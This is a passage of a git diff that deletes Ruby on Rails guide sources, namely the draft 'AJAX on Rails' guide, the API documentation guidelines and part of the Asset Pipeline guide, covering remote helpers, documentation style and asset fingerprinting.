-rescue MissingSourceFile => e
- raise e unless e.is_missing? "helpers/#{module_path}_helper"
-rescue NameError => e
- raise e unless e.missing_name? "#{module_name}Helper"
-end
-</ruby>
-
-NOTE: Defined in +active_support/core_ext/load_error.rb+.
diff --git a/railties/guides/source/ajax_on_rails.textile b/railties/guides/source/ajax_on_rails.textile
deleted file mode 100644
index 3a0ccfe9b2..0000000000
--- a/railties/guides/source/ajax_on_rails.textile
+++ /dev/null
@@ -1,267 +0,0 @@
-h2. AJAX on Rails
-
-This guide covers the built-in Ajax/JavaScript functionality of Rails (and more); it will enable you to create rich and dynamic AJAX applications with ease! We will cover the following topics:
-
-* Quick introduction to AJAX and related technologies
-* Unobtrusive JavaScript helpers with drivers for Prototype, jQuery etc
-* Testing JavaScript functionality
-
-endprologue.
-
-h3. Hello AJAX - a Quick Intro
-
-You'll need the basics of DOM, HTTP requests and other topics discussed here to really understand Ajax on Rails.
-
-h4. Asynchronous JavaScript + XML
-
-Basic terminology, new style of creating web apps
-
-h4. The DOM
-
-basics of the DOM, how is it built, properties, features, why is it central to AJAX
-
-h4. Standard HTML communication vs AJAX
-
-How do 'standard' and AJAX requests differ, why does this matter for understanding AJAX on Rails (tie in for *_remote helpers, the next section)
-
-h3. Built-in Rails Helpers
-
-Rails 3.1 ships with "jQuery":http://jquery.com as the default JavaScript library. The Gemfile contains <tt>gem 'jquery-rails'</tt> which makes the jQuery files available to the application automatically. This can be accessed as:
-
-<ruby>
-javascript_include_tag :defaults
-</ruby>
-
-h4. Examples
-
-All the remote_method helpers has been removed. To make them working with AJAX, simply pass the <tt>:remote => true</tt> option to the original non-remote method.
-
-<ruby>
-button_to "New", :action => "new", :form_class => "new-thing"
-</ruby>
-
-will produce
-
-<html>
-<form method="post" action="/controller/new" class="new-thing">
- <div><input value="New" type="submit" /></div>
-</form>
-</html>
-
-<ruby>
-button_to "Create", :action => "create", :remote => true, :form => { "data-type" => "json" }
-</ruby>
-
-will produce
-
-<html>
-<form method="post" action="/images/create" class="button_to" data-remote="true" data-type="json">
- <div><input value="Create" type="submit" /></div>
-</form>
-</html>
-
-<ruby>
-button_to "Delete Image", { :action => "delete", :id => @image.id },
- :confirm => "Are you sure?", :method => :delete
-</ruby>
-
-will produce
-
-<html>
-<form method="post" action="/images/delete/1" class="button_to">
- <div>
- <input type="hidden" name="_method" value="delete" />
- <input data-confirm='Are you sure?' value="Delete" type="submit" />
- </div>
-</form>
-</html>
-
-<ruby>
-button_to('Destroy', 'http://www.example.com', :confirm => 'Are you sure?',
- :method => "delete", :remote => true, :disable_with => 'loading...')
-</ruby>
-
-will produce
-
-<html>
-<form class='button_to' method='post' action='http://www.example.com' data-remote='true'>
- <div>
- <input name='_method' value='delete' type='hidden' />
- <input value='Destroy' type='submit' disable_with='loading...' data-confirm='Are you sure?' />
- </div>
-</form>
-</html>
-
-You can also choose to use Prototype instead of jQuery and specify the option using +-j+ switch while generating the application.
-
-<shell>
-rails new app_name -j prototype
-</shell>
-
-You are ready to add some AJAX love to your Rails app!
-
-h4. The Quintessential AJAX Rails Helper: link_to_remote
-
-Let's start with what is probably the most often used helper: +link_to_remote+. It has an interesting feature from the documentation point of view: the options supplied to +link_to_remote+ are shared by all other AJAX helpers, so learning the mechanics and options of +link_to_remote+ is a great help when using other helpers.
-
-The signature of +link_to_remote+ function is the same as that of the standard +link_to+ helper:
-
-<ruby>
-def link_to_remote(name, options = {}, html_options = nil)
-</ruby>
-
-And here is a simple example of link_to_remote in action:
-
-<ruby>
-link_to_remote "Add to cart",
- :url => add_to_cart_url(product.id),
- :update => "cart"
-</ruby>
-
-* The very first parameter, a string, is the text of the link which appears on the page.
-* The second parameter, the +options+ hash is the most interesting part as it has the AJAX specific stuff:
-** *:url* This is the only parameter that is always required to generate the simplest remote link (technically speaking, it is not required, you can pass an empty +options+ hash to +link_to_remote+ - but in this case the URL used for the POST request will be equal to your current URL which is probably not your intention). This URL points to your AJAX action handler. The URL is typically specified by Rails REST view helpers, but you can use the +url_for+ format too.
-** *:update* Specifying a DOM id of the element we would like to update. The above example demonstrates the simplest way of accomplishing this - however, we are in trouble if the server responds with an error message because that will be injected into the page too! However, Rails has a solution for this situation:
-
-<ruby>
-link_to_remote "Add to cart",
- :url => add_to_cart_url(product),
- :update => { :success => "cart", :failure => "error" }
-</ruby>
-
-If the server returns 200, the output of the above example is equivalent to our first, simple one. However, in case of error, the element with the DOM id +error+ is updated rather than the +cart+ element.
-
-** *position* By default (i.e. when not specifying this option, like in the examples before) the response is injected into the element with the specified DOM id, replacing the original content of the element (if there was any). You might want to alter this behavior by keeping the original content - the only question is where to place the new content? This can specified by the +position+ parameter, with four possibilities:
-*** +:before+ Inserts the response text just before the target element. More precisely, it creates a text node from the response and inserts it as the left sibling of the target element.
-*** +:after+ Similar behavior to +:before+, but in this case the response is inserted after the target element.
-*** +:top+ Inserts the text into the target element, before it's original content. If the target element was empty, this is equivalent with not specifying +:position+ at all.
-*** +:bottom+ The counterpart of +:top+: the response is inserted after the target element's original content.
-
-A typical example of using +:bottom+ is inserting a new &lt;li&gt; element into an existing list:
-
-<ruby>
-link_to_remote "Add new item",
- :url => items_url,
- :update => 'item_list',
- :position => :bottom
-</ruby>
-
-** *:method* Most typically you want to use a POST request when adding a remote link to your view so this is the default behavior. However, sometimes you'll want to update (PUT) or delete/destroy (DELETE) something and you can specify this with the +:method+ option. Let's see an example for a typical AJAX link for deleting an item from a list:
-
-<ruby>
-link_to_remote "Delete the item",
- :url => item_url(item),
- :method => :delete
-</ruby>
-
-Note that if we wouldn't override the default behavior (POST), the above snippet would route to the create action rather than destroy.
-
-** *JavaScript filters* You can customize the remote call further by wrapping it with some JavaScript code. Let's say in the previous example, when deleting a link, you'd like to ask for a confirmation by showing a simple modal text box to the user. This is a typical example what you can accomplish with these options - let's see them one by one:
-*** +:confirm+ =&gt; +msg+ Pops up a JavaScript confirmation dialog, displaying +msg+. If the user chooses 'OK', the request is launched, otherwise canceled.
-*** +:condition+ =&gt; +code+ Evaluates +code+ (which should evaluate to a boolean) and proceeds if it's true, cancels the request otherwise.
-*** +:before+ =&gt; +code+ Evaluates the +code+ just before launching the request. The output of the code has no influence on the execution. Typically used show a progress indicator (see this in action in the next example).
-*** +:after+ =&gt; +code+ Evaluates the +code+ after launching the request. Note that this is different from the +:success+ or +:complete+ callback (covered in the next section) since those are triggered after the request is completed, while the code snippet passed to +:after+ is evaluated after the remote call is made. A common example is to disable elements on the page or otherwise prevent further action while the request is completed.
-*** +:submit+ =&gt; +dom_id+ This option does not make sense for +link_to_remote+, but we'll cover it for the sake of completeness. By default, the parent element of the form elements the user is going to submit is the current form - use this option if you want to change the default behavior. By specifying this option you can change the parent element to the element specified by the DOM id +dom_id+.
-*** +:with+ &gt; +code+ The JavaScript code snippet in +code+ is evaluated and added to the request URL as a parameter (or set of parameters). Therefore, +code+ should return a valid URL query string (like "item_type=8" or "item_type=8&sort=true"). Usually you want to obtain some value(s) from the page - let's see an example:
-
-<ruby>
-link_to_remote "Update record",
- :url => record_url(record),
- :method => :put,
- :with => "'status=' <plus> 'encodeURIComponent($('status').value) <plus> '&completed=' <plus> $('completed')"
-</ruby>
-
-This generates a remote link which adds 2 parameters to the standard URL generated by Rails, taken from the page (contained in the elements matched by the 'status' and 'completed' DOM id).
-
-** *Callbacks* Since an AJAX call is typically asynchronous, as it's name suggests (this is not a rule, and you can fire a synchronous request - see the last option, +:type+) your only way of communicating with a request once it is fired is via specifying callbacks. There are six options at your disposal (in fact 508, counting all possible response types, but these six are the most frequent and therefore specified by a constant):
-*** +:loading:+ =&gt; +code+ The request is in the process of receiving the data, but the transfer is not completed yet.
-*** +:loaded:+ =&gt; +code+ The transfer is completed, but the data is not processed and returned yet
-*** +:interactive:+ =&gt; +code+ One step after +:loaded+: The data is fully received and being processed
-*** +:success:+ =&gt; +code+ The data is fully received, parsed and the server responded with "200 OK"
-*** +:failure:+ =&gt; +code+ The data is fully received, parsed and the server responded with *anything* but "200 OK" (typically 404 or 500, but in general with any status code ranging from 100 to 509)
-*** +:complete:+ =&gt; +code+ The combination of the previous two: The request has finished receiving and parsing the data, and returned a status code (which can be anything).
-*** Any other status code ranging from 100 to 509: Additionally you might want to check for other HTTP status codes, such as 404. In this case simply use the status code as a number:
-<ruby>
-link_to_remote "Add new item",
- :url => items_url,
- :update => "item_list",
- 404 => "alert('Item not found!')"
-</ruby>
-Let's see a typical example for the most frequent callbacks, +:success+, +:failure+ and +:complete+ in action:
-
-<ruby>
-link_to_remote "Add new item",
- :url => items_url,
- :update => "item_list",
- :before => "$('progress').show()",
- :complete => "$('progress').hide()",
- :success => "display_item_added(request)",
- :failure => "display_error(request)"
-</ruby>
-
-** *:type* If you want to fire a synchronous request for some obscure reason (blocking the browser while the request is processed and doesn't return a status code), you can use the +:type+ option with the value of +:synchronous+.
-* Finally, using the +html_options+ parameter you can add HTML attributes to the generated tag. It works like the same parameter of the +link_to+ helper. There are interesting side effects for the +href+ and +onclick+ parameters though:
-** If you specify the +href+ parameter, the AJAX link will degrade gracefully, i.e. the link will point to the URL even if JavaScript is disabled in the client browser
-** +link_to_remote+ gains it's AJAX behavior by specifying the remote call in the onclick handler of the link. If you supply +html_options[:onclick]+ you override the default behavior, so use this with care!
-
-We are finished with +link_to_remote+. I know this is quite a lot to digest for one helper function, but remember, these options are common for all the rest of the Rails view helpers, so we will take a look at the differences / additional parameters in the next sections.
-
-h4. AJAX Forms
-
-There are three different ways of adding AJAX forms to your view using Rails Prototype helpers. They are slightly different, but striving for the same goal: instead of submitting the form using the standard HTTP request/response cycle, it is submitted asynchronously, thus not reloading the page. These methods are the following:
-
-* +remote_form_for+ (and it's alias +form_remote_for+) is tied to Rails most tightly of the three since it takes a resource, model or array of resources (in case of a nested resource) as a parameter.
-* +form_remote_tag+ AJAXifies the form by serializing and sending it's data in the background
-* +submit_to_remote+ and +button_to_remote+ is more rarely used than the previous two. Rather than creating an AJAX form, you add a button/input
-
-Let's see them in action one by one!
-
-h5. +remote_form_for+
-
-h5. +form_remote_tag+
-
-h5. +submit_to_remote+
-
-h4. Observing Elements
-
-h5. +observe_field+
-
-h5. +observe_form+
-
-h4. Calling a Function Periodically
-
-h5. +periodically_call_remote+
-
-
-h4. Miscellaneous Functionality
-
-h5. +remote_function+
-
-h5. +update_page+
-
-h4. Serving JavaScript
-
-First we'll check out how to send JavaScript to the server manually. You are practically never going to need this, but it's interesting to understand what's going on under the hood.
-
-<ruby>
-def javascript_test
- render :text => "alert('Hello, world!')",
- :content_type => "text/javascript"
-end
-</ruby>
-
-(Note: if you want to test the above method, create a +link_to_remote+ with a single parameter - +:url+, pointing to the +javascript_test+ action)
-
-What happens here is that by specifying the Content-Type header variable, we instruct the browser to evaluate the text we are sending over (rather than displaying it as plain text, which is the default behavior).
-
-h3. Testing JavaScript
-
-JavaScript testing reminds me the definition of the world 'classic' by Mark Twain: "A classic is something that everybody wants to have read and nobody wants to read." It's similar with JavaScript testing: everyone would like to have it, yet it's not done by too much developers as it is tedious, complicated, there is a proliferation of tools and no consensus/accepted best practices, but we will nevertheless take a stab at it:
-
-* (Fire)Watir
-* Selenium
-* Celerity/Culerity
-* Cucumber+Webrat
-* Mention stuff like screw.unit/jsSpec
-
-Note to self: check out the RailsConf JS testing video
diff --git a/railties/guides/source/api_documentation_guidelines.textile b/railties/guides/source/api_documentation_guidelines.textile
deleted file mode 100644
index 99eb668513..0000000000
--- a/railties/guides/source/api_documentation_guidelines.textile
+++ /dev/null
@@ -1,185 +0,0 @@
-h2. API Documentation Guidelines
-
-This guide documents the Ruby on Rails API documentation guidelines.
-
-endprologue.
-
-h3. RDoc
-
-The Rails API documentation is generated with RDoc 2.5. Please consult the documentation for help with the "markup":http://rdoc.rubyforge.org/RDoc/Markup.html, and take into account also these "additional directives":http://rdoc.rubyforge.org/RDoc/Parser/Ruby.html.
-
-h3. Wording
-
-Write simple, declarative sentences. Brevity is a plus: get to the point.
-
-Write in present tense: "Returns a hash that...", rather than "Returned a hash that..." or "Will return a hash that...".
-
-Start comments in upper case, follow regular punctuation rules:
-
-<ruby>
-# Declares an attribute reader backed by an internally-named instance variable.
-def attr_internal_reader(*attrs)
- ...
-end
-</ruby>
-
-Communicate to the reader the current way of doing things, both explicitly and implicitly. Use the recommended idioms in edge, reorder sections to emphasize favored approaches if needed, etc. The documentation should be a model for best practices and canonical, modern Rails usage.
-
-Documentation has to be concise but comprehensive. Explore and document edge cases. What happens if a module is anonymous? What if a collection is empty? What if an argument is nil?
-
-The proper names of Rails components have a space in between the words, like "Active Support". +ActiveRecord+ is a Ruby module, whereas Active Record is an ORM. All Rails documentation should consistently refer to Rails components by their proper name, and if in your next blog post or presentation you remember this tidbit and take it into account that'd be phenomenal.
-
-Spell names correctly: Arel, Test::Unit, RSpec, HTML, MySQL, JavaScript, ERB. When in doubt, please have a look at some authoritative source like their official documentation.
-
-Use the article "an" for "SQL", as in "an SQL statement". Also "an SQLite database".
-
-h3. English
-
-Please use American English (<em>color</em>, <em>center</em>, <em>modularize</em>, etc.). See "a list of American and British English spelling differences here":http://en.wikipedia.org/wiki/American_and_British_English_spelling_differences.
-
-h3. Example Code
-
-Choose meaningful examples that depict and cover the basics as well as interesting points or gotchas.
-
-Use two spaces to indent chunks of code--that is two spaces with respect to the left margin; the examples
-themselves should use "Rails coding conventions":contributing_to_ruby_on_rails.html#follow-the-coding-conventions.
-
-Short docs do not need an explicit "Examples" label to introduce snippets, they just follow paragraphs:
-
-<ruby>
-# Converts a collection of elements into a formatted string by calling
-# <tt>to_s</tt> on all elements and joining them.
-#
-# Blog.all.to_formatted_s # => "First PostSecond PostThird Post"
-</ruby>
-
-On the other hand, big chunks of structured documentation may have a separate "Examples" section:
-
-<ruby>
-# ==== Examples
-#
-# Person.exists?(5)
-# Person.exists?('5')
-# Person.exists?(:name => "David")
-# Person.exists?(['name LIKE ?', "%#{query}%"])
-</ruby>
-
-The result of expressions follow them and are introduced by "# => ", vertically aligned:
-
-<ruby>
-# For checking if a fixnum is even or odd.
-#
-# 1.even? # => false
-# 1.odd? # => true
-# 2.even? # => true
-# 2.odd? # => false
-</ruby>
-
-If a line is too long, the comment may be placed on the next line:
-
-<ruby>
-# label(:post, :title)
-# # => <label for="post_title">Title</label>
-#
-# label(:post, :title, "A short title")
-# # => <label for="post_title">A short title</label>
-#
-# label(:post, :title, "A short title", :class => "title_label")
-# # => <label for="post_title" class="title_label">A short title</label>
-</ruby>
-
-Avoid using any printing methods like +puts+ or +p+ for that purpose.
-
-On the other hand, regular comments do not use an arrow:
-
-<ruby>
-# polymorphic_url(record) # same as comment_url(record)
-</ruby>
-
-h3. Filenames
-
-As a rule of thumb use filenames relative to the application root:
-
-<plain>
-config/routes.rb # YES
-routes.rb # NO
-RAILS_ROOT/config/routes.rb # NO
-</plain>
-
-h3. Fonts
-
-h4. Fixed-width Font
-
-Use fixed-width fonts for:
-* constants, in particular class and module names
-* method names
-* literals like +nil+, +false+, +true+, +self+
-* symbols
-* method parameters
-* file names
-
-<ruby>
-class Array
- # Calls <tt>to_param</tt> on all its elements and joins the result with
- # slashes. This is used by <tt>url_for</tt> in Action Pack.
- def to_param
- collect { |e| e.to_param }.join '/'
- end
-end
-</ruby>
-
-WARNING: Using a pair of +&#43;...&#43;+ for fixed-width font only works with *words*; that is: anything matching <tt>\A\w&#43;\z</tt>. For anything else use +&lt;tt&gt;...&lt;/tt&gt;+, notably symbols, setters, inline snippets, etc:
-
-h4. Regular Font
-
-When "true" and "false" are English words rather than Ruby keywords use a regular font:
-
-<ruby>
-# If <tt>reload_plugins?</tt> is false, add this to your plugin's <tt>init.rb</tt>
-# to make it reloadable:
-#
-# Dependencies.load_once_paths.delete lib_path
-</ruby>
-
-h3. Description Lists
-
-In lists of options, parameters, etc. use a hyphen between the item and its description (reads better than a colon because normally options are symbols):
-
-<ruby>
-# * <tt>:allow_nil</tt> - Skip validation if attribute is <tt>nil</tt>.
-</ruby>
-
-The description starts in upper case and ends with a full stop—it's standard English.
-
-h3. Dynamically Generated Methods
-
-Methods created with +(module|class)_eval(STRING)+ have a comment by their side with an instance of the generated code. That comment is 2 spaces apart from the template:
-
-<ruby>
-for severity in Severity.constants
- class_eval <<-EOT, __FILE__, __LINE__
- def #{severity.downcase}(message = nil, progname = nil, &block) # def debug(message = nil, progname = nil, &block)
- add(#{severity}, message, progname, &block) # add(DEBUG, message, progname, &block)
- end # end
- #
- def #{severity.downcase}? # def debug?
- #{severity} >= @level # DEBUG >= @level
- end # end
- EOT
-end
-</ruby>
-
-If the resulting lines are too wide, say 200 columns or more, we put the comment above the call:
-
-<ruby>
-# def self.find_by_login_and_activated(*args)
-# options = args.extract_options!
-# ...
-# end
-self.class_eval %{
- def self.#{method_id}(*args)
- options = args.extract_options!
- ...
- end
-}
-</ruby>
diff --git a/railties/guides/source/asset_pipeline.textile b/railties/guides/source/asset_pipeline.textile
deleted file mode 100644
index afaf0f6fe3..0000000000
--- a/railties/guides/source/asset_pipeline.textile
+++ /dev/null
@@ -1,661 +0,0 @@
-h2. Asset Pipeline
-
-This guide covers the asset pipeline introduced in Rails 3.1.
-By referring to this guide you will be able to:
-
-* Understand what the asset pipeline is and what it does
-* Properly organize your application assets
-* Understand the benefits of the asset pipeline
-* Adding a pre-processor to the pipeline
-* Package assets with a gem
-
-endprologue.
-
-h3. What is the Asset Pipeline?
-
-The asset pipeline provides a framework to concatenate and minify or compress JavaScript and CSS assets. It also adds the ability to write these assets in other languages such as CoffeeScript, Sass and ERB.
-
-Prior to Rails 3.1 these features were added through third-party Ruby libraries such as Jammit and Sprockets. Rails 3.1 is integrated with Sprockets through Action Pack which depends on the +sprockets+ gem, by default.
-
-By having this as a core feature of Rails, all developers can benefit from the power of having their assets pre-processed, compressed and minified by one central library, Sprockets. This is part of Rails' "fast by default" strategy as outlined by DHH in his keynote at RailsConf 2011.
-
-In Rails 3.1, the asset pipeline is enabled by default. It can be disabled in +config/application.rb+ by putting this line inside the application class definition:
-
-<ruby>
-config.assets.enabled = false
-</ruby>
-
-You can also disable it while creating a new application by passing the <tt>--skip-sprockets</tt> option.
-
-<plain>
-rails new appname --skip-sprockets
-</plain>
-
-It is recommended that you use the defaults for all new apps.
-
-
-h4. Main Features
-
-The first feature of the pipeline is to concatenate assets. This is important in a production environment, as it reduces the number of requests that a browser must make to render a web page.
-
-While Rails already has a feature to concatenate these types of assets by placing +:cache => true+ at the end of tags such as +javascript_include_tag+ and +stylesheet_link_tag+, it has a series of limitations. For example, it cannot generate the caches in advance, and it is not able to transparently include assets provided by third-party libraries.
-
-The default behavior in Rails 3.1 and onward is to concatenate all files into one master file each for JS and CSS. However, you can separate files or groups of files if required (see below). In production, an MD5 fingerprint is inserted into each filename so that the file is cached by the web browser but can be invalidated if the fingerprint is altered.
-
-The second feature is to minify or compress assets. For CSS, this usually involves removing whitespace and comments. For JavaScript, more complex processes can be applied. You can choose from a set of built in options or specify your own.
-
-The third feature is the ability to code these assets using another language, or language extension. These include Sass for CSS, CoffeeScript for JavaScript, and ERB for both.
-
-h4. What is Fingerprinting and Why Should I Care?
-
-Fingerprinting is a technique whereby the filenames of content that is static or infrequently updated are altered to be unique to the content contained in the file.
-
-When a filename is unique and based on its content, HTTP headers can be set to encourage caches everywhere (at ISPs, in browsers) to keep their own copy of the content. When the content is updated, the fingerprint will change and the remote clients will request the new file. This is generally known as _cache busting_.
-
-The most effective technique is to insert a hash of the content into the name, usually at the end. For example a CSS file +global.css+ is hashed and the filename is updated to incorporate the digest, for example becoming:
-
-<plain>
-global-908e25f4bf641868d8683022a5b62f54.css
-</plain>
-
-This is the strategy adopted by the Rails asset pipeline.
-
-Rails' old strategy was to append a query string to every asset linked with a built-in helper. In the source the generated code looked like this:
-
-<plain>
-/stylesheets/global.css?1309495796
-</plain>
-
-This has several disadvantages:
-
-<ol>
- <li>
- <strong>Not all caches will cache content with a query string</strong>.<br>
- "Steve Souders recommends":http://www.stevesouders.com/blog/2008/08/23/revving-filenames-dont-use-querystring/, "...avoiding a querystring for cacheable resources". He found that in this case 5-20% of requests will not be cached. Query strings in particular do not work at all with some CDNs for cache invalidation.
- </li>
- <li>
- <strong>The file name can change between nodes in multi-server environments.</strong><br>
- The query string in Rails is based on the modification time of the files. When assets are deployed to a cluster, there is no guarantee that the timestamps will be the same, resulting in different values being used depending on which server handles the request.
- </li>
-</ol>
-
-The other problem is that when static assets are deployed with each new release of code, the mtime of _all_ these files changes, forcing all remote clients to fetch them again, even when the content of those assets has not changed.
-
-Fingerprinting fixes these problems by avoiding query strings, and by ensuring filenames are consistent based on their content.
-
-Fingerprinting is enabled by default for production and disabled for all the others environments. You can enable or disable it in your configuration through the +config.assets.digest+ option.
-
-More reading:
-
-* "Optimize caching":http://code.google.com/speed/page-speed/docs/caching.html
-* "Revving Filenames: don’t use querystring":http://www.stevesouders.com/blog/2008/08/23/revving-filenames-dont-use-querystring/
-
-
-h3. How to Use the Asset Pipeline
-
-In previous versions of Rails, all assets were located in subdirectories of +public+ such as +images+, +javascripts+ and +stylesheets+. With the asset pipeline, the preferred location for these assets is now the +app/assets+ directory. Files in this directory are served by the Sprockets middleware included in the sprockets gem.
-
-This is not to say that assets can (or should) no longer be placed in +public+; they still can be and will be served as static files by the application or web server. You would only use +app/assets+ if you wish your files to undergo some pre-processing before they are served.
-
-In production, the default is to precompile these files to +public/assets+ so that they can be more efficiently delivered by the web server.
-
-When a scaffold or controller is generated for the application, Rails also generates a JavaScript file (or CoffeeScript file if the +coffee-rails+ gem is in the +Gemfile+) and a Cascading Style Sheet file (or SCSS file if +sass-rails+ is in the +Gemfile+) for that controller.
-
-For example, if a +ProjectsController+ is generated, there will be a new file at +app/assets/javascripts/projects.js.coffee+ and another at +app/assets/stylesheets/projects.css.scss+. You should put any JavaScript or CSS unique to a controller inside their respective asset files, as these files can then be loaded just for these controllers with lines such as +<%= javascript_include_tag params[:controller] %>+ or +<%= stylesheet_link_tag params[:controller] %>+.
-
-NOTE: You will need a "ExecJS":https://github.com/sstephenson/execjs#readme supported runtime in order to use CoffeeScript. If you are using Mac OS X or Windows you have a JavaScript runtime installed in your operating system. Check "ExecJS":https://github.com/sstephenson/execjs#readme documentation to know all supported JavaScript runtimes.
-
-h4. Asset Organization
-
-Assets can be placed inside an application in one of three locations: +app/assets+, +lib/assets+ or +vendor/assets+.
-
-+app/assets+ is for assets that are owned by the application, such as custom images, JavaScript files or stylesheets.
-
-+lib/assets+ is for your own libraries' code that doesn't really fit into the scope of the application or those libraries which are shared across applications.
-
-+vendor/assets+ is for assets that are owned by outside entities, such as code for JavaScript plugins.
-
-All subdirectories that exist within these three locations are added to the search path for Sprockets (visible by calling +Rails.application.config.assets.paths+ in a console). When an asset is requested, these paths are traversed to see if they contain an asset matching the name specified. Once an asset has been found, it's processed by Sprockets and served.
-
-You can add additional (fully qualified) paths to the pipeline in +config/application.rb+. For example:
-
-<ruby>
-config.assets.paths << Rails.root.join("app", "assets", "flash")
-</ruby>
-
-h4. Coding Links to Assets
-
-Sprockets does not add any new methods to access your assets - you still use the familiar +javascript_include_tag+ and +stylesheet_link_tag+.
-
-<erb>
-<%= stylesheet_link_tag "application" %>
-<%= javascript_include_tag "application" %>
-</erb>
-
-In regular views you can access images in the +assets/images+ directory like this:
-
-<erb>
-<%= image_tag "rails.png" %>
-</erb>
-
-Provided that the pipeline is enabled within your application (and not disabled in the current environment context), this file is served by Sprockets. If a file exists at +public/assets/rails.png+ it is served by the webserver.
-
-Alternatively, a request for a file with an MD5 hash such as +public/assets/rails-af27b6a414e6da00003503148be9b409.png+ is treated the same way. How these hashes are generated is covered in the "In Production":#in-production section later on in this guide.
-
-Sprockets will also look through the paths specified in +config.assets.paths+ which includes the standard application paths and any path added by Rails engines.
-
-Images can also be organized into subdirectories if required, and they can be accessed by specifying the directory's name in the tag:
-
-<erb>
-<%= image_tag "icons/rails.png" %>
-</erb>
-
-h5. CSS and ERB
-
-If you add an +erb+ extension to a CSS asset, making it something such as +application.css.erb+, then helpers like +asset_path+ are available in your CSS rules:
-
-<plain>
-.class { background-image: url(<%= asset_path 'image.png' %>) }
-</plain>
-
-This writes the path to the particular asset being referenced. In this example, it would make sense to have an image in one of the asset load paths, such as +app/assets/images/image.png+, which would be referenced here. If this image is already available in +public/assets+ as a fingerprinted file, then that path is referenced.
-
-If you want to use a "data URI":http://en.wikipedia.org/wiki/Data_URI_scheme -- a method of embedding the image data directly into the CSS file -- you can use the +asset_data_uri+ helper.
-
-<plain>
-#logo { background: url(<%= asset_data_uri 'logo.png' %>) }
-</plain>
-
-This inserts a correctly-formatted data URI into the CSS source.
-
-Note that the closing tag cannot be of the style +-%>+.
-
-h5. CSS and Sass
-
-When using the asset pipeline, paths to assets must be re-written and +sass-rails+ provides +-url+ and +-path+ helpers (hyphenated in Sass, underscored in Ruby) for the following asset classes: image, font, video, audio, JavaScript and stylesheet.
-
-* +image-url("rails.png")+ becomes +url(/assets/rails.png)+
-* +image-path("rails.png")+ becomes +"/assets/rails.png"+.
-
-The more generic form can also be used but the asset path and class must both be specified:
-
-* +asset-url("rails.png", image)+ becomes +url(/assets/rails.png)+
-* +asset-path("rails.png", image)+ becomes +"/assets/rails.png"+
-
-h5. JavaScript/CoffeeScript and ERB
-
-If you add an +erb+ extension to a JavaScript asset, making it something such as +application.js.erb+, then you can use the +asset_path+ helper in your JavaScript code:
-
-<erb>
-$('#logo').attr({
- src: "<%= asset_path('logo.png') %>"
-});
-</erb>
-
-This writes the path to the particular asset being referenced.
-
-Similarly, you can use the +asset_path+ helper in CoffeeScript files with +erb+ extension (eg. +application.js.coffee.erb+):
-
-<plain>
-$('#logo').attr src: "<%= asset_path('logo.png') %>"
-</plain>
-
-h4. Manifest Files and Directives
-
-Sprockets uses manifest files to determine which assets to include and serve. These manifest files contain _directives_ -- instructions that tell Sprockets which files to require in order to build a single CSS or JavaScript file. With these directives, Sprockets loads the files specified, processes them if necessary, concatenates them into one single file and then compresses them (if +Rails.application.config.assets.compress+ is true). By serving one file rather than many, the load time of pages are greatly reduced as there are fewer requests to make.
-
-For example, in the default Rails application there's a +app/assets/javascripts/application.js+ file which contains the following lines:
-
-<plain>
-// ...
-//= require jquery
-//= require jquery_ujs
-//= require_tree .
-</plain>
-
-In JavaScript files, the directives begin with +//=+. In this case, the file is using the +require+ and the +require_tree+ directives. The +require+ directive is used to tell Sprockets the files that you wish to require. Here, you are requiring the files +jquery.js+ and +jquery_ujs.js+ that are available somewhere in the search path for Sprockets. You need not supply the extensions explicitly. Sprockets assumes you are requiring a +.js+ file when done from within a +.js+ file.
-
-NOTE. In Rails 3.1 the +jquery-rails+ gem provides the +jquery.js+ and +jquery_ujs.js+ files via the asset pipeline. You won't see them in the application tree.
-
-The +require_tree+ directive tells Sprockets to recursively include _all_ JavaScript files in this directory into the output. Only a path relative to the manifest file can be specified. There is also a +require_directory+ directive which includes all JavaScript files only in the directory specified (no nesting).
-
-Directives are processed top to bottom, but the order in which files are included by +require_tree+ is unspecified. You should not rely on any particular order among those. If you need to ensure some particular JavaScript ends up above some other, require it before in the manifest. Note that the family of +require+ directives prevents files from being included twice in the output.
-
-There's also a default +app/assets/stylesheets/application.css+ file which contains these lines:
-
-<plain>
-/* ...
-*= require_self
-*= require_tree .
-*/
-</plain>
-
-The directives that work in the JavaScript files also work in stylesheets, obviously including stylesheets rather than JavaScript files. The +require_tree+ directive here works the same way as the JavaScript one, requiring all stylesheets from the current directory.
-
-In this example +require_self+ is used. This puts the CSS contained within the file (if any) at the precise location of the +require_self+ call. If +require_self+ is called more than once, only the last call is respected.
-
-NOTE. If you want to use multiple Sass files, use the "Sass +@import+ rule":http://sass-lang.com/docs/yardoc/file.SASS_REFERENCE.html#import instead of the Sprockets directives. Using Sprockets directives all Sass files exist within their own scope, making variables or mixins only available within the document they were defined in.
-
-You can have as many manifest files as you need. For example the +admin.css+ and +admin.js+ manifest could contain the JS and CSS files that are used for the admin section of an application.
-
-The same remarks about ordering made above apply. In particular, you can specify individual files and they are compiled in the order specified:
-
-<plain>
-/* ...
-*= require reset
-*= require layout
-*= require chrome
-*/
-</plain>
-
-
-h4. Preprocessing
-
-The file extensions used on an asset determine what preprocessing is applied. When a controller or a scaffold is generated with the default Rails gemset, a CoffeeScript file and a SCSS file are generated in place of a regular JavaScript and CSS file. The example used before was a controller called "projects", which generated an +app/assets/javascripts/projects.js.coffee+ and an +app/assets/stylesheets/projects.css.scss+ file.
-
-When these files are requested, they are processed by the processors provided by the +coffee-script+ and +sass-rails+ gems and then sent back to the browser as JavaScript and CSS respectively.
-
-Additional layers of preprocessing can be requested by adding other extensions, where each extension is processed in a right-to-left manner. These should be used in the order the processing should be applied. For example, a stylesheet called +app/assets/stylesheets/projects.css.scss.erb+ is first processed as ERB, then SCSS and finally served as CSS. The same applies to a JavaScript file -- +app/assets/javascripts/projects.js.coffee.erb+ is processed as ERB, CoffeeScript, and served as JavaScript.
-
-Keep in mind that the order of these preprocessors is important. For example, if you called your JavaScript file +app/assets/javascripts/projects.js.erb.coffee+ then it would be processed with the CoffeeScript interpreter first, which wouldn't understand ERB and therefore you would run into problems.
-
-h3. In Development
-
-In development mode assets are served as separate files in the order they are specified in the manifest file.
-
-This manifest +app/assets/javascripts/application.js+:
-
-<plain>
-//= require core
-//= require projects
-//= require tickets
-</plain>
-
-would generate this HTML:
-
-<html>
-<script src="/assets/core.js?body=1" type="text/javascript"></script>
-<script src="/assets/projects.js?body=1" type="text/javascript"></script>
-<script src="/assets/tickets.js?body=1" type="text/javascript"></script>
-</html>
-
-The +body+ param is required by Sprockets.
-
-h4. Turning Debugging off
-
